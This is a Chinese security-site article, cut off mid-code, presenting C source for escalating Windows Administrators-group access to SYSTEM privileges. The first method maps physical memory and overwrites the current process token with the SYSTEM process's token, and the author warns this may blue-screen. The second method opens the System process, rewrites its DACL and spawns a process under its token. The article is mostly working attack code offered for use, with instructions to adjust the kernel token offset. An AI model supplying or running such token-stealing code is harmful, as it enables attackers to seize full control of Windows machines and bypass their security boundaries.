网络安全 频道

管理员组获取系统权限的完美解决方案

h_info = ( PSYSTEM_HANDLE_INFORMATION )((ULONG)buf+4);

    for(i = 0; i<NumOfHandle ;i++)
    {
            if( h_info[i].ProcessId == PID &&( h_info[i].ObjectTypeNumber == 5  ))
            {
                retvalue=(DWORD)(h_info[i].Object);
                break;
            }
    }

    if ( buf != NULL )
    {
        free( buf );
    }
    return retvalue;
}

void usage(char *exe)
{
    printf("Usage : %s [exefile|-h]\n");
}

int main(int argc, char **argv)
{
    HMODULE hDll;
    DWORD tmp;
    DWORD SystemEprocess;
    DWORD SystemEprocessTokenValue;
    DWORD CurrentEprocess;
    DWORD CurrentEprocessTokenValue;

    printf("\nIt is intended to get SYSTEM privilege from administrators group.\n");
    printf("\tMade by ZwelL.\n");
    printf("\tZwell@sohu.com.\n");
    printf("\thttp://www.donews.net/zwell.\n");
    printf("\tType -h to get more information\n", argv[0]);

    if( argc>=2)
    {
        if(
            ( (strcmp(argv[1],"-h")==0) && (argc==2))
            || (argc>2)
          )
        {
            usage(argv[0]);
            exit(-1);
        }
    }

    if (!InitNTDLL())
    {
        printf("InitNTDLL wrong\n");
        exit(-1);
    }

    if (OpenPhysicalMemory()==0)
    {
        printf("OpenPhysicalMemory wrong\n");
        exit(-1);
    }

    hDll = LoadLibrary("ntoskrnl.exe");
    tmp = (DWORD)GetProcAddress(hDll, "PsInitialSystemProcess");
    tmp=MyGetModuleBaseAddress("ntoskrnl.exe")+(DWORD)tmp-(DWORD)hDll;
    SystemEprocess=GetData((PVOID)tmp);
    tmp=SystemEprocess+TOKEN_OFFSET; //SYSTEM''s Token address
    SystemEprocessTokenValue=GetData((PVOID)tmp);   //SYSTEM''s Token
    printf("System Process Token : 0x%08X\n", SystemEprocessTokenValue);

    OpenProcess( PROCESS_ALL_ACCESS,FALSE,GetCurrentProcessId() );
    CurrentEprocess = GetEprocessFromId(GetCurrentProcessId());
    CurrentEprocessTokenValue = GetData((PVOID)(CurrentEprocess+TOKEN_OFFSET));

    printf("Current EPROCESS : %08x\n", CurrentEprocess);
    printf("Current Process Token : %08x\nPress ENTER to continue...\n",
        CurrentEprocessTokenValue);
    //getchar();
    SetData((PVOID)(GetEprocessFromId(GetCurrentProcessId())+TOKEN_OFFSET), SystemEprocessTokenValue);
    printf("Current Process Token : %08x\n",
        GetData((PVOID)(GetEprocessFromId(GetCurrentProcessId())+TOKEN_OFFSET)));
    printf("Press ENTER to create process...\n");
    //getchar();

    if( GetData((PVOID)(CurrentEprocess+TOKEN_OFFSET))
        == GetData((PVOID)(SystemEprocess+TOKEN_OFFSET))  
        )
        // It is so surprised that SYSTEM''s Token always in changing.
        // So before create new process, we should ensure the TOKEN is all right
    {
        ShellExecute(NULL, "open", (argc==2)?argv[1]:"c:\\windows\\regedit.exe", NULL, NULL, SW_SHOWNORMAL);
    }
    UnmapViewOfFile(g_pMapPhysicalMemory);
    CloseHandle(g_hMPM);
    CloseNTDLL();

    return 0;
}



在上面的代码中,请将TOKEN_OFFSET改成你的系统版本的偏移值.我们也可以想像到由于是操作了系统的内核空间,搞不好会出现蓝屏现象(尽管机率很小).

=========================================================================================================
第二种方法,我们不自己创建进程,而是直接用System进程的Token来创建进程.看到这,大家可能又想到了远线程。
这里不是。我的思路是:配置好桌面(desktop),工作区间(WindowStation)等信息,最后调用CreateProcessAsUser来创建子进程。
用这种方法极为稳定。这里一些关于获取SID的代码可以看我前一段时间写的"一种新的穿透防火墙的数据传输技术".

下面是源代码,这段代码也实现了RUNAS的功能,有兴趣可以研究一下,大部分都来自MSDN:

#include <windows.h>
#include <stdio.h>
#include <Tlhelp32.h>
#include <AccCtrl.h>
#include <Aclapi.h>
#include <wtsapi32.h>

#pragma comment(lib, "wtsapi32")

HANDLE OpenSystemProcess()
{
    HANDLE hSnapshot = NULL;
    HANDLE hProc     = NULL;

    __try
    {
        // Get a snapshot of the processes in the system
        hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
        if (hSnapshot == NULL)
        {
            printf("OpenSystemProcess CreateToolhelp32Snapshot Failed");
            __leave;
        }

        PROCESSENTRY32 pe32;
        pe32.dwSize = sizeof(pe32);

        // Find the "System" process
        BOOL fProcess = Process32First(hSnapshot, &pe32);
        while (fProcess && (lstrcmpi(pe32.szExeFile, TEXT("SYSTEM")) != 0))
            fProcess = Process32Next(hSnapshot, &pe32);
        if (!fProcess)
        {
            printf("OpenSystemProcess Not Found SYSTEM");
            __leave;    // Didn''t find "System" process
        }

        // Open the process with PROCESS_QUERY_INFORMATION access
        hProc = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE,
            pe32.th32ProcessID);
        if (hProc == NULL)
        {
            printf("OpenSystemProcess OpenProcess Failed");
            __leave;
        }
    }
    __finally
    {
        // Cleanup the snapshot
       if (hSnapshot != NULL)
           CloseHandle(hSnapshot);
       return(hProc);
    }
}

BOOL EnablePrivilege (PCSTR name)
{
    HANDLE hToken;
    BOOL rv;
    
    TOKEN_PRIVILEGES priv = { 1, {0, 0, SE_PRIVILEGE_ENABLED} };
    LookupPrivilegeValue (
        0,
        name,
        &priv.Privileges[0].Luid
    );
    
    OpenProcessToken(
        GetCurrentProcess (),
        TOKEN_ADJUST_PRIVILEGES,
        &hToken
    );
    
    AdjustTokenPrivileges (
        hToken,
        FALSE,
        &priv,
        sizeof priv,
        0,
        0
    );
    rv = GetLastError () == ERROR_SUCCESS;
    
    CloseHandle (hToken);
    return rv;
}

#define chDIMOF(Array) (sizeof(Array) / sizeof(Array[0]))

BOOL ModifySecurity(HANDLE hProc, DWORD dwAccess)
{
    PACL pAcl        = NULL;
    PACL pNewAcl     = NULL;
    PACL pSacl       = NULL;
    PSID pSidOwner   = NULL;
    PSID pSidPrimary = NULL;
    BOOL fSuccess    = TRUE;

    PSECURITY_DESCRIPTOR pSD = NULL;

    __try
    {
        // Find the length of the security object for the kernel object
        DWORD dwSDLength;
        if (GetKernelObjectSecurity(hProc, DACL_SECURITY_INFORMATION, pSD, 0,
            &dwSDLength) || (GetLastError() != ERROR_INSUFFICIENT_BUFFER))
        {
            printf("ModifySecurity GetKernelObjectSecurity Size Failed");
            __leave;
        }

        // Allocate a buffer of that length
        pSD = LocalAlloc(LPTR, dwSDLength);
        if (pSD == NULL)
        {
            printf("ModifySecurity LocalAlloc Failed");
            __leave;
        }

        // Retrieve the kernel object
        if (!GetKernelObjectSecurity(hProc, DACL_SECURITY_INFORMATION, pSD,
            dwSDLength, &dwSDLength))
        {
            printf("ModifySecurity GetKernelObjectSecurity Failed");
            __leave;
        }

        // Get a pointer to the DACL of the SD
        BOOL fDaclPresent;
        BOOL fDaclDefaulted;
        if (!GetSecurityDescriptorDacl(pSD, &fDaclPresent, &pAcl,
            &fDaclDefaulted))
        {
            printf("ModifySecurity GetSecurityDescriptorDacl Failed");
            __leave;
        }

        // Get the current user''s name
        TCHAR szName[1024];
        DWORD dwLen = chDIMOF(szName);
        if (!GetUserName(szName, &dwLen))
        {
            printf("ModifySecurity GetUserName Failed");
            __leave;
        }

        // Build an EXPLICIT_ACCESS structure for the ace we wish to add.
        EXPLICIT_ACCESS ea;
        BuildExplicitAccessWithName(&ea, szName, dwAccess, GRANT_ACCESS, 0);
        ea.Trustee.TrusteeType = TRUSTEE_IS_USER;
1
相关文章